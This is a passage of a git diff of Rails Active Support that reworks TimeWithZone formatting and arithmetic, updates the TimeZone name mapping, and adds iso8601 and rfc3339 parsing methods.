         %(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
       end
     end
 
-    def init_with(coder) #:nodoc:
+    def init_with(coder) # :nodoc:
       initialize(coder["utc"], coder["zone"], coder["time"])
     end
 
-    def encode_with(coder) #:nodoc:
-      coder.tag = "!ruby/object:ActiveSupport::TimeWithZone"
+    def encode_with(coder) # :nodoc:
       coder.map = { "utc" => utc, "zone" => time_zone, "time" => time }
     end
 
@@ -191,25 +208,33 @@ def httpdate
     #
     #   Time.zone.now.rfc2822  # => "Tue, 01 Jan 2013 04:51:39 +0000"
     def rfc2822
-      to_s(:rfc822)
+      to_fs(:rfc822)
     end
     alias_method :rfc822, :rfc2822
 
     # Returns a string of the object's date and time.
+    def to_s
+      "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby Time#to_s format
+    end
+
+    # Returns a string of the object's date and time.
+    #
+    # This method is aliased to <tt>to_formatted_s</tt>.
+    #
     # Accepts an optional <tt>format</tt>:
     # * <tt>:default</tt> - default value, mimics Ruby Time#to_s format.
-    # * <tt>:db</tt> - format outputs time in UTC :db time. See Time#to_formatted_s(:db).
-    # * Any key in <tt>Time::DATE_FORMATS</tt> can be used. See active_support/core_ext/time/conversions.rb.
-    def to_s(format = :default)
+    # * <tt>:db</tt> - format outputs time in UTC :db time. See Time#to_fs(:db).
+    # * Any key in +Time::DATE_FORMATS+ can be used. See active_support/core_ext/time/conversions.rb.
+    def to_fs(format = :default)
       if format == :db
-        utc.to_s(format)
+        utc.to_fs(format)
       elsif formatter = ::Time::DATE_FORMATS[format]
         formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
       else
-        "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby Time#to_s format
+        to_s
       end
     end
-    alias_method :to_formatted_s, :to_s
+    alias_method :to_formatted_s, :to_fs
 
     # Replaces <tt>%Z</tt> directive with +zone before passing to Time#strftime,
     # so that zone information is correct.
@@ -222,6 +247,8 @@ def strftime(format)
     def <=>(other)
       utc <=> other
     end
+    alias_method :before?, :<
+    alias_method :after?, :>
 
     # Returns true if the current object's time is within the specified
     # +min+ and +max+ time.
@@ -240,6 +267,20 @@ def today?
       time.today?
     end
 
+    # Returns true if the current object's time falls within
+    # the next day (tomorrow).
+    def tomorrow?
+      time.tomorrow?
+    end
+    alias :next_day? :tomorrow?
+
+    # Returns true if the current object's time falls within
+    # the previous day (yesterday).
+    def yesterday?
+      time.yesterday?
+    end
+    alias :prev_day? :yesterday?
+
     # Returns true if the current object's time is in the future.
     def future?
       utc.future?
@@ -258,8 +299,8 @@ def hash
     # value as a new TimeWithZone object.
     #
     #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
-    #   now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28 EDT -04:00
-    #   now + 1000          # => Sun, 02 Nov 2014 01:43:08 EDT -04:00
+    #   now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28.725182881 EDT -04:00
+    #   now + 1000          # => Sun, 02 Nov 2014 01:43:08.725182881 EDT -04:00
     #
     # If we're adding a Duration of variable length (i.e., years, months, days),
     # move forward from #time, otherwise move forward from #utc, for accuracy
@@ -268,25 +309,27 @@ def hash
     # For instance, a time + 24.hours will advance exactly 24 hours, while a
     # time + 1.day will advance 23-25 hours, depending on the day.
     #
-    #   now + 24.hours      # => Mon, 03 Nov 2014 00:26:28 EST -05:00
-    #   now + 1.day         # => Mon, 03 Nov 2014 01:26:28 EST -05:00
+    #   now + 24.hours      # => Mon, 03 Nov 2014 00:26:28.725182881 EST -05:00
+    #   now + 1.day         # => Mon, 03 Nov 2014 01:26:28.725182881 EST -05:00
     def +(other)
       if duration_of_variable_length?(other)
         method_missing(:+, other)
       else
-        result = utc.acts_like?(:date) ? utc.since(other) : utc + other rescue utc.since(other)
+        result = utc + other
+
         result.in_time_zone(time_zone)
       end
     end
     alias_method :since, :+
     alias_method :in, :+
 
-    # Returns a new TimeWithZone object that represents the difference between
-    # the current object's time and the +other+ time.
+    # Subtracts an interval of time and returns a new TimeWithZone object unless
+    # the other value +acts_like?+ time. In which case, it will subtract the
+    # other time and return the difference in seconds as a Float.
     #
     #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
-    #   now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28 EST -05:00
-    #   now - 1000          # => Mon, 03 Nov 2014 00:09:48 EST -05:00
+    #   now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28.725182881 EST -05:00
+    #   now - 1000          # => Mon, 03 Nov 2014 00:09:48.725182881 EST -05:00
     #
     # If subtracting a Duration of variable length (i.e., years, months, days),
     # move backward from #time, otherwise move backward from #utc, for accuracy
@@ -295,15 +338,21 @@ def +(other)
     # For instance, a time - 24.hours will go subtract exactly 24 hours, while a
     # time - 1.day will subtract 23-25 hours, depending on the day.
     #
-    #   now - 24.hours      # => Sun, 02 Nov 2014 01:26:28 EDT -04:00
-    #   now - 1.day         # => Sun, 02 Nov 2014 00:26:28 EDT -04:00
+    #   now - 24.hours      # => Sun, 02 Nov 2014 01:26:28.725182881 EDT -04:00
+    #   now - 1.day         # => Sun, 02 Nov 2014 00:26:28.725182881 EDT -04:00
+    #
+    # If both the TimeWithZone object and the other value act like Time, a Float
+    # will be returned.
+    #
+    #   Time.zone.now - 1.day.ago # => 86399.999967
+    #
     def -(other)
       if other.acts_like?(:time)
-        to_time - other.to_time
+        getutc - other.getutc
       elsif duration_of_variable_length?(other)
         method_missing(:-, other)
       else
-        result = utc.acts_like?(:date) ? utc.ago(other) : utc - other rescue utc.ago(other)
+        result = utc - other
         result.in_time_zone(time_zone)
       end
     end
@@ -312,8 +361,8 @@ def -(other)
     # the result as a new TimeWithZone object.
     #
     #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
-    #   now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28 EST -05:00
-    #   now.ago(1000)       # => Mon, 03 Nov 2014 00:09:48 EST -05:00
+    #   now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28.725182881 EST -05:00
+    #   now.ago(1000)       # => Mon, 03 Nov 2014 00:09:48.725182881 EST -05:00
     #
     # If we're subtracting a Duration of variable length (i.e., years, months,
     # days), move backward from #time, otherwise move backward from #utc, for
@@ -323,12 +372,48 @@ def -(other)
     # while <tt>time.ago(1.day)</tt> will move back 23-25 hours, depending on
     # the day.
     #
-    #   now.ago(24.hours)   # => Sun, 02 Nov 2014 01:26:28 EDT -04:00
-    #   now.ago(1.day)      # => Sun, 02 Nov 2014 00:26:28 EDT -04:00
+    #   now.ago(24.hours)   # => Sun, 02 Nov 2014 01:26:28.725182881 EDT -04:00
+    #   now.ago(1.day)      # => Sun, 02 Nov 2014 00:26:28.725182881 EDT -04:00
     def ago(other)
       since(-other)
     end
 
+    # Returns a new +ActiveSupport::TimeWithZone+ where one or more of the elements have
+    # been changed according to the +options+ parameter. The time options (<tt>:hour</tt>,
+    # <tt>:min</tt>, <tt>:sec</tt>, <tt>:usec</tt>, <tt>:nsec</tt>) reset cascadingly,
+    # so if only the hour is passed, then minute, sec, usec, and nsec is set to 0. If the
+    # hour and minute is passed, then sec, usec, and nsec is set to 0. The +options+
+    # parameter takes a hash with any of these keys: <tt>:year</tt>, <tt>:month</tt>,
+    # <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>, <tt>:sec</tt>, <tt>:usec</tt>,
+    # <tt>:nsec</tt>, <tt>:offset</tt>, <tt>:zone</tt>. Pass either <tt>:usec</tt>
+    # or <tt>:nsec</tt>, not both. Similarly, pass either <tt>:zone</tt> or
+    # <tt>:offset</tt>, not both.
+    #
+    #   t = Time.zone.now          # => Fri, 14 Apr 2017 11:45:15.116992711 EST -05:00
+    #   t.change(year: 2020)       # => Tue, 14 Apr 2020 11:45:15.116992711 EST -05:00
+    #   t.change(hour: 12)         # => Fri, 14 Apr 2017 12:00:00.000000000 EST -05:00
+    #   t.change(min: 30)          # => Fri, 14 Apr 2017 11:30:00.000000000 EST -05:00
+    #   t.change(offset: "-10:00") # => Fri, 14 Apr 2017 11:45:15.116992711 HST -10:00
+    #   t.change(zone: "Hawaii")   # => Fri, 14 Apr 2017 11:45:15.116992711 HST -10:00
+    def change(options)
+      if options[:zone] && options[:offset]
+        raise ArgumentError, "Can't change both :offset and :zone at the same time: #{options.inspect}"
+      end
+
+      new_time = time.change(options)
+
+      if options[:zone]
+        new_zone = ::Time.find_zone(options[:zone])
+      elsif options[:offset]
+        new_zone = ::Time.find_zone(new_time.utc_offset)
+      end
+
+      new_zone ||= time_zone
+      periods = new_zone.periods_for_local(new_time)
+
+      self.class.new(nil, new_zone, new_time, periods.include?(period) ? period : nil)
+    end
+
     # Uses Date to provide precise Time calculations for years, months, and days
     # according to the proleptic Gregorian calendar. The result is returned as a
     # new TimeWithZone object.
@@ -342,14 +427,14 @@ def ago(other)
     # accuracy when moving across DST boundaries.
     #
     #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
-    #   now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28 EDT -04:00
-    #   now.advance(seconds: 1) # => Sun, 02 Nov 2014 01:26:29 EDT -04:00
-    #   now.advance(minutes: 1) # => Sun, 02 Nov 2014 01:27:28 EDT -04:00
-    #   now.advance(hours: 1)   # => Sun, 02 Nov 2014 01:26:28 EST -05:00
-    #   now.advance(days: 1)    # => Mon, 03 Nov 2014 01:26:28 EST -05:00
-    #   now.advance(weeks: 1)   # => Sun, 09 Nov 2014 01:26:28 EST -05:00
-    #   now.advance(months: 1)  # => Tue, 02 Dec 2014 01:26:28 EST -05:00
-    #   now.advance(years: 1)   # => Mon, 02 Nov 2015 01:26:28 EST -05:00
+    #   now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28.558049687 EDT -04:00
+    #   now.advance(seconds: 1) # => Sun, 02 Nov 2014 01:26:29.558049687 EDT -04:00
+    #   now.advance(minutes: 1) # => Sun, 02 Nov 2014 01:27:28.558049687 EDT -04:00
+    #   now.advance(hours: 1)   # => Sun, 02 Nov 2014 01:26:28.558049687 EST -05:00
+    #   now.advance(days: 1)    # => Mon, 03 Nov 2014 01:26:28.558049687 EST -05:00
+    #   now.advance(weeks: 1)   # => Sun, 09 Nov 2014 01:26:28.558049687 EST -05:00
+    #   now.advance(months: 1)  # => Tue, 02 Dec 2014 01:26:28.558049687 EST -05:00
+    #   now.advance(years: 1)   # => Mon, 02 Nov 2015 01:26:28.558049687 EST -05:00
     def advance(options)
       # If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time,
       # otherwise advance from #utc, for accuracy when moving across DST boundaries
@@ -361,23 +446,23 @@ def advance(options)
     end
 
     %w(year mon month day mday wday yday hour min sec usec nsec to_date).each do |method_name|
-      class_eval <<-EOV, __FILE__, __LINE__ + 1
+      class_eval <<~RUBY, __FILE__, __LINE__ + 1
         def #{method_name}    # def month
           time.#{method_name} #   time.month
         end                   # end
-      EOV
+      RUBY
     end
 
     # Returns Array of parts of Time in sequence of
     # [seconds, minutes, hours, day, month, year, weekday, yearday, dst?, zone].
     #
-    #   now = Time.zone.now     # => Tue, 18 Aug 2015 02:29:27 UTC +00:00
+    #   now = Time.zone.now     # => Tue, 18 Aug 2015 02:29:27.485278555 UTC +00:00
     #   now.to_a                # => [27, 29, 2, 18, 8, 2015, 2, 230, false, "UTC"]
     def to_a
       [time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone]
     end
 
-    # Returns the object's date and time as a floating point number of seconds
+    # Returns the object's date and time as a floating-point number of seconds
     # since the Epoch (January 1, 1970 00:00 UTC).
     #
     #   Time.zone.now.to_f # => 1417709320.285418
@@ -410,6 +495,13 @@ def to_datetime
       @to_datetime ||= utc.to_datetime.new_offset(Rational(utc_offset, 86_400))
     end
 
+    # Returns an instance of +Time+, either with the same timezone as +self+,
+    # with the same UTC offset as +self+ or in the local system timezone
+    # depending on the setting of +ActiveSupport.to_time_preserves_timezone+.
+    def to_time
+      @to_time_with_timezone ||= getlocal(time_zone)
+    end
+
     # So that +self+ <tt>acts_like?(:time)</tt>.
     def acts_like_time?
       true
@@ -426,8 +518,13 @@ def blank?
       false
     end
 
+    def present? # :nodoc:
+      true
+    end
+
     def freeze
-      period; utc; time # preload instance variables before freezing
+      # preload instance variables before freezing
+      period; utc; time; to_datetime; to_time
       super
     end
 
@@ -439,30 +536,33 @@ def marshal_load(variables)
       initialize(variables[0].utc, ::Time.find_zone(variables[1]), variables[2].utc)
     end
 
-    # respond_to_missing? is not called in some cases, such as when type conversion is
-    # performed with Kernel#String
-    def respond_to?(sym, include_priv = false)
-      # ensure that we're not going to throw and rescue from NoMethodError in method_missing which is slow
-      return false if sym.to_sym == :to_str
-      super
-    end
-
     # Ensure proxy class responds to all methods that underlying time instance
     # responds to.
     def respond_to_missing?(sym, include_priv)
-      return false if sym.to_sym == :acts_like_date?
       time.respond_to?(sym, include_priv)
     end
 
     # Send the missing method to +time+ instance, and wrap result in a new
     # TimeWithZone with the existing +time_zone+.
-    def method_missing(sym, *args, &block)
-      wrap_with_time_zone time.__send__(sym, *args, &block)
+    def method_missing(...)
+      wrap_with_time_zone time.__send__(...)
     rescue NoMethodError => e
-      raise e, e.message.sub(time.inspect, inspect), e.backtrace
+      raise e, e.message.sub(time.inspect, inspect).sub("Time", "ActiveSupport::TimeWithZone"), e.backtrace
     end
 
     private
+      SECONDS_PER_DAY = 86400
+
+      def incorporate_utc_offset(time, offset)
+        if offset.zero?
+          time
+        elsif time.kind_of?(Date)
+          time + Rational(offset, SECONDS_PER_DAY)
+        else
+          time + offset
+        end
+      end
+
       def get_period_and_ensure_valid_local_time(period)
         # we don't want a Time.local instance enforcing its own DST rules as well,
         # so transfer time values to a utc constructor if necessary
@@ -483,7 +583,7 @@ def transfer_time_values_to_utc_constructor(time)
       end
 
       def duration_of_variable_length?(obj)
-        ActiveSupport::Duration === obj && obj.parts.any? { |p| [:years, :months, :weeks, :days].include?(p[0]) }
+        ActiveSupport::Duration === obj && obj.variable?
       end
 
       def wrap_with_time_zone(time)
@@ -498,3 +598,8 @@ def wrap_with_time_zone(time)
       end
   end
 end
+
+# These prevent Psych from calling `ActiveSupport::TimeWithZone.name`
+# and triggering the deprecation warning about the change in Rails 7.1.
+YAML.load_tags["!ruby/object:ActiveSupport::TimeWithZone"] = "ActiveSupport::TimeWithZone"
+YAML.dump_tags[ActiveSupport::TimeWithZone] = "!ruby/object:ActiveSupport::TimeWithZone"
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index 09cb9cbbe1ad4..7934a8505b4ba 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -1,20 +1,23 @@
+# frozen_string_literal: true
+
 require "tzinfo"
 require "concurrent/map"
-require "active_support/core_ext/object/blank"
 
 module ActiveSupport
-  # The TimeZone class serves as a wrapper around TZInfo::Timezone instances.
+  # = Active Support \Time Zone
+  #
+  # The TimeZone class serves as a wrapper around +TZInfo::Timezone+ instances.
   # It allows us to do the following:
   #
-  # * Limit the set of zones provided by TZInfo to a meaningful subset of 146
+  # * Limit the set of zones provided by TZInfo to a meaningful subset of 134
   #   zones.
   # * Retrieve and display zones with a friendlier name
-  #   (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
-  # * Lazily load TZInfo::Timezone instances only when they're needed.
+  #   (e.g., "Eastern \Time (US & Canada)" instead of "America/New_York").
+  # * Lazily load +TZInfo::Timezone+ instances only when they're needed.
   # * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+,
-  #   +parse+, +at+ and +now+ methods.
+  #   +parse+, +at+, and +now+ methods.
   #
-  # If you set <tt>config.time_zone</tt> in the Rails Application, you can
+  # If you set <tt>config.time_zone</tt> in the \Rails Application, you can
   # access this TimeZone object via <tt>Time.zone</tt>:
   #
   #   # application.rb:
@@ -26,9 +29,9 @@ module ActiveSupport
   #   Time.zone.name # => "Eastern Time (US & Canada)"
   #   Time.zone.now  # => Sun, 18 May 2008 14:30:44 EDT -04:00
   class TimeZone
-    # Keys are Rails TimeZone names, values are TZInfo identifiers.
+    # Keys are \Rails TimeZone names, values are TZInfo identifiers.
     MAPPING = {
-      "International Date Line West" => "Pacific/Midway",
+      "International Date Line West" => "Etc/GMT+12",
       "Midway Island"                => "Pacific/Midway",
       "American Samoa"               => "Pacific/Pago_Pago",
       "Hawaii"                       => "Pacific/Honolulu",
@@ -54,12 +57,14 @@ class TimeZone
       "Caracas"                      => "America/Caracas",
       "La Paz"                       => "America/La_Paz",
       "Santiago"                     => "America/Santiago",
+      "Asuncion"                     => "America/Asuncion",
       "Newfoundland"                 => "America/St_Johns",
       "Brasilia"                     => "America/Sao_Paulo",
       "Buenos Aires"                 => "America/Argentina/Buenos_Aires",
       "Montevideo"                   => "America/Montevideo",
       "Georgetown"                   => "America/Guyana",
-      "Greenland"                    => "America/Godthab",
+      "Puerto Rico"                  => "America/Puerto_Rico",
+      "Greenland"                    => "America/Nuuk",
       "Mid-Atlantic"                 => "Atlantic/South_Georgia",
       "Azores"                       => "Atlantic/Azores",
       "Cape Verde Is."               => "Atlantic/Cape_Verde",
@@ -130,10 +135,10 @@ class TimeZone
       "Mumbai"                       => "Asia/Kolkata",
       "New Delhi"                    => "Asia/Kolkata",
       "Kathmandu"                    => "Asia/Kathmandu",
-      "Astana"                       => "Asia/Dhaka",
       "Dhaka"                        => "Asia/Dhaka",
       "Sri Jayawardenepura"          => "Asia/Colombo",
       "Almaty"                       => "Asia/Almaty",
+      "Astana"                       => "Asia/Almaty",
       "Novosibirsk"                  => "Asia/Novosibirsk",
       "Rangoon"                      => "Asia/Rangoon",
       "Bangkok"                      => "Asia/Bangkok",
@@ -157,7 +162,7 @@ class TimeZone
       "Yakutsk"                      => "Asia/Yakutsk",
       "Darwin"                       => "Australia/Darwin",
       "Adelaide"                     => "Australia/Adelaide",
-      "Canberra"                     => "Australia/Melbourne",
+      "Canberra"                     => "Australia/Canberra",
       "Melbourne"                    => "Australia/Melbourne",
       "Sydney"                       => "Australia/Sydney",
       "Brisbane"                     => "Australia/Brisbane",
@@ -180,8 +185,9 @@ class TimeZone
       "Samoa"                        => "Pacific/Apia"
     }
 
-    UTC_OFFSET_WITH_COLON = "%s%02d:%02d"
-    UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.tr(":", "")
+    UTC_OFFSET_WITH_COLON = "%s%02d:%02d" # :nodoc:
+    UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.tr(":", "") # :nodoc:
+    private_constant :UTC_OFFSET_WITH_COLON, :UTC_OFFSET_WITHOUT_COLON
 
     @lazy_zones_map = Concurrent::Map.new
     @country_zones  = Concurrent::Map.new
@@ -200,10 +206,10 @@ def seconds_to_utc_offset(seconds, colon = true)
       end
 
       def find_tzinfo(name)
-        TZInfo::Timezone.new(MAPPING[name] || name)
+        TZInfo::Timezone.get(MAPPING[name] || name)
       end
 
-      alias_method :create, :new
+      alias_method :create, :new # :nodoc:
 
       # Returns a TimeZone instance with the given name, or +nil+ if no
       # such TimeZone instance exists. (This exists to support the use of
@@ -226,16 +232,20 @@ def all
       # Returns +nil+ if no such time zone is known to the system.
       def [](arg)
         case arg
+        when self
+          arg
         when String
           begin
             @lazy_zones_map[arg] ||= create(arg)
           rescue TZInfo::InvalidTimezoneIdentifier
             nil
           end
+        when TZInfo::Timezone
+          @lazy_zones_map[arg.name] ||= create(arg.name, nil, arg)
         when Numeric, ActiveSupport::Duration
           arg *= 3600 if arg.abs <= 13
           all.find { |z| z.utc_offset == arg.to_i }
-          else
+        else
           raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
         end
       end
@@ -250,18 +260,35 @@ def us_zones
       # for time zones in the country specified by its ISO 3166-1 Alpha2 code.
       def country_zones(country_code)
         code = country_code.to_s.upcase
-        @country_zones[code] ||=
-          TZInfo::Country.get(code).zone_identifiers.map do |tz_id|
-            name = MAPPING.key(tz_id)
-            name && self[name]
-          end.compact.sort!
+        @country_zones[code] ||= load_country_zones(code)
+      end
+
+      def clear # :nodoc:
+        @lazy_zones_map = Concurrent::Map.new
+        @country_zones  = Concurrent::Map.new
+        @zones = nil
+        @zones_map = nil
       end
 
       private
+        def load_country_zones(code)
+          country = TZInfo::Country.get(code)
+          country.zone_identifiers.flat_map do |tz_id|
+            if MAPPING.value?(tz_id)
+              MAPPING.inject([]) do |memo, (key, value)|
+                memo << self[key] if value == tz_id
+                memo
+              end
+            else
+              create(tz_id, nil, TZInfo::Timezone.get(tz_id))
+            end
+          end.sort!
+        end
+
         def zones_map
-          @zones_map ||= begin
-            MAPPING.each_key { |place| self[place] } # load all the zones
-            @lazy_zones_map
+          @zones_map ||= MAPPING.each_with_object({}) do |(name, _), zones|
+            timezone = self[name]
+            zones[name] = timezone if timezone
           end
         end
     end
@@ -270,23 +297,32 @@ def zones_map
     attr_reader :name
     attr_reader :tzinfo
 
+    ##
+    # :singleton-method: create
+    # :call-seq: create(name, utc_offset = nil, tzinfo = nil)
+    #
     # Create a new TimeZone object with the given name and offset. The
     # offset is the number of seconds that this time zone is offset from UTC
     # (GMT). Seconds were chosen as the offset unit because that is the unit
     # that Ruby uses to represent time zone offsets (see Time#utc_offset).
+
+    # :stopdoc:
     def initialize(name, utc_offset = nil, tzinfo = nil)
       @name = name
       @utc_offset = utc_offset
       @tzinfo = tzinfo || TimeZone.find_tzinfo(name)
     end
+    # :startdoc:
+
+    # Returns a standard time zone name defined by IANA
+    # https://www.iana.org/time-zones
+    def standard_name
+      MAPPING[name] || name
+    end
 
     # Returns the offset of this time zone from UTC in seconds.
     def utc_offset
-      if @utc_offset
-        @utc_offset
-      else
-        tzinfo.current_period.utc_offset if tzinfo && tzinfo.current_period
-      end
+      @utc_offset || tzinfo&.current_period&.base_utc_offset
     end
 
     # Returns a formatted string of the offset from UTC, or an alternative
@@ -314,12 +350,19 @@ def =~(re)
       re === name || re === MAPPING[name]
     end
 
+    # Compare #name and TZInfo identifier to a supplied regexp, returning +true+
+    # if a match is found.
+    def match?(re)
+      (re == name) || (re == MAPPING[name]) ||
+        ((Regexp === re) && (re.match?(name) || re.match?(MAPPING[name])))
+    end
+
     # Returns a textual representation of this time zone.
     def to_s
       "(GMT#{formatted_offset}) #{name}"
     end
 
-    # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # \Method for creating new ActiveSupport::TimeWithZone instance in time zone
     # of +self+ from given values.
     #
     #   Time.zone = 'Hawaii'                    # => "Hawaii"
@@ -329,17 +372,74 @@ def local(*args)
       ActiveSupport::TimeWithZone.new(nil, self, time)
     end
 
-    # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # \Method for creating new ActiveSupport::TimeWithZone instance in time zone
     # of +self+ from number of seconds since the Unix epoch.
     #
     #   Time.zone = 'Hawaii'        # => "Hawaii"
     #   Time.utc(2000).to_f         # => 946684800.0
     #   Time.zone.at(946684800.0)   # => Fri, 31 Dec 1999 14:00:00 HST -10:00
-    def at(secs)
-      Time.at(secs).utc.in_time_zone(self)
+    #
+    # A second argument can be supplied to specify sub-second precision.
+    #
+    #   Time.zone = 'Hawaii'                # => "Hawaii"
+    #   Time.at(946684800, 123456.789).nsec # => 123456789
+    def at(*args)
+      Time.at(*args).utc.in_time_zone(self)
     end
 
-    # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # \Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # of +self+ from an ISO 8601 string.
+    #
+    #   Time.zone = 'Hawaii'                     # => "Hawaii"
+    #   Time.zone.iso8601('1999-12-31T14:00:00') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #
+    # If the time components are missing then they will be set to zero.
+    #
+    #   Time.zone = 'Hawaii'            # => "Hawaii"
+    #   Time.zone.iso8601('1999-12-31') # => Fri, 31 Dec 1999 00:00:00 HST -10:00
+    #
+    # If the string is invalid then an +ArgumentError+ will be raised unlike +parse+
+    # which usually returns +nil+ when given an invalid date string.
+    def iso8601(str)
+      # Historically `Date._iso8601(nil)` returns `{}`, but in the `date` gem versions `3.2.1`, `3.1.2`, `3.0.2`,
+      # and `2.0.1`, `Date._iso8601(nil)` raises `TypeError` https://github.com/ruby/date/issues/39
+      # Future `date` releases are expected to revert back to the original behavior.
+      raise ArgumentError, "invalid date" if str.nil?
+
+      parts = Date._iso8601(str)
+
+      year = parts.fetch(:year)
+
+      if parts.key?(:yday)
+        ordinal_date = Date.ordinal(year, parts.fetch(:yday))
+        month = ordinal_date.month
+        day = ordinal_date.day
+      else
+        month = parts.fetch(:mon)
+        day = parts.fetch(:mday)
+      end
+
+      time = Time.new(
+        year,
+        month,
+        day,
+        parts.fetch(:hour, 0),
+        parts.fetch(:min, 0),
+        parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
+        parts.fetch(:offset, 0)
+      )
+
+      if parts[:offset]
+        TimeWithZone.new(time.utc, self)
+      else
+        TimeWithZone.new(nil, self, time)
+      end
+
+    rescue Date::Error, KeyError
+      raise ArgumentError, "invalid date"
+    end
+
+    # \Method for creating new ActiveSupport::TimeWithZone instance in time zone
     # of +self+ from parsed string.
     #
     #   Time.zone = 'Hawaii'                   # => "Hawaii"
@@ -355,10 +455,42 @@ def at(secs)
     # components are supplied, then the day of the month defaults to 1:
     #
     #   Time.zone.parse('Mar 2000') # => Wed, 01 Mar 2000 00:00:00 HST -10:00
+    #
+    # If the string is invalid then an +ArgumentError+ could be raised.
     def parse(str, now = now())
       parts_to_time(Date._parse(str, false), now)
     end
 
+    # \Method for creating new ActiveSupport::TimeWithZone instance in time zone
+    # of +self+ from an RFC 3339 string.
+    #
+    #   Time.zone = 'Hawaii'                     # => "Hawaii"
+    #   Time.zone.rfc3339('2000-01-01T00:00:00Z') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #
+    # If the time or zone components are missing then an +ArgumentError+ will
+    # be raised. This is much stricter than either +parse+ or +iso8601+ which
+    # allow for missing components.
+    #
+    #   Time.zone = 'Hawaii'            # => "Hawaii"
+    #   Time.zone.rfc3339('1999-12-31') # => ArgumentError: invalid date
+    def rfc3339(str)
+      parts = Date._rfc3339(str)
+
+      raise ArgumentError, "invalid date" if parts.empty?
+
+      time = Time.new(
+        parts.fetch(:year),
+        parts.fetch(:mon),
+        parts.fetch(:mday),
+        parts.fetch(:hour),
+        parts.fetch(:min),
+        parts.fetch(:sec) + parts.fetch(:sec_fraction, 0),
+        parts.fetch(:offset)
+      )
+
+      TimeWithZone.new(time.utc, self)
+    end
+
     # Parses +str+ according to +format+ and returns an ActiveSupport::TimeWithZone.
     #
     # Assumes that +str+ is a time in the time zone +self+,
@@ -408,10 +540,17 @@ def yesterday
     end
 
     # Adjust the given time to the simultaneous time in the time zone
-    # represented by +self+. Returns a Time.utc() instance -- if you want an
-    # ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
+    # represented by +self+. Returns a local time with the appropriate offset
+    # -- if you want an ActiveSupport::TimeWithZone instance, use
+    # Time#in_time_zone() instead.
+    #
+    # As of tzinfo 2, utc_to_local returns a Time with a non-zero utc_offset.
+    # See the +utc_to_local_returns_utc_offset_times+ config for more info.
     def utc_to_local(time)
-      tzinfo.utc_to_local(time)
+      tzinfo.utc_to_local(time).yield_self do |t|
+        ActiveSupport.utc_to_local_returns_utc_offset_times ?
+          t : Time.utc(t.year, t.month, t.day, t.hour, t.min, t.sec, t.sec_fraction * 1_000_000)
+      end
     end
 
     # Adjust the given time to the simultaneous time in UTC. Returns a
@@ -420,27 +559,31 @@ def local_to_utc(time, dst = true)
       tzinfo.local_to_utc(time, dst)
     end
 
-    # Available so that TimeZone instances respond like TZInfo::Timezone
-    # instances.
-    def period_for_utc(time)
+    def period_for_utc(time) # :nodoc:
       tzinfo.period_for_utc(time)
     end
 
-    # Available so that TimeZone instances respond like TZInfo::Timezone
-    # instances.
-    def period_for_local(time, dst = true)
-      tzinfo.period_for_local(time, dst)
+    def period_for_local(time, dst = true) # :nodoc:
+      tzinfo.period_for_local(time, dst) { |periods| periods.last }
     end
 
-    def periods_for_local(time) #:nodoc:
+    def periods_for_local(time) # :nodoc:
       tzinfo.periods_for_local(time)
     end
 
-    def init_with(coder) #:nodoc:
+    def abbr(time) # :nodoc:
+      tzinfo.abbr(time)
+    end
+
+    def dst?(time) # :nodoc:
+      tzinfo.dst?(time)
+    end
+
+    def init_with(coder) # :nodoc:
       initialize(coder["name"])
     end
 
-    def encode_with(coder) #:nodoc:
+    def encode_with(coder) # :nodoc:
       coder.tag = "!ruby/object:#{self.class}"
       coder.map = { "name" => tzinfo.name }
     end
diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat
deleted file mode 100644
index f7d9c48bbe80b..0000000000000
Binary files a/activesupport/lib/active_support/values/unicode_tables.dat and /dev/null differ
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
index 20b91ac911f34..12f83379b10ab 100644
--- a/activesupport/lib/active_support/version.rb
+++ b/activesupport/lib/active_support/version.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require_relative "gem_version"
 
 module ActiveSupport
-  # Returns the version of the currently loaded ActiveSupport as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Active Support as a +Gem::Version+.
   def self.version
     gem_version
   end
diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb
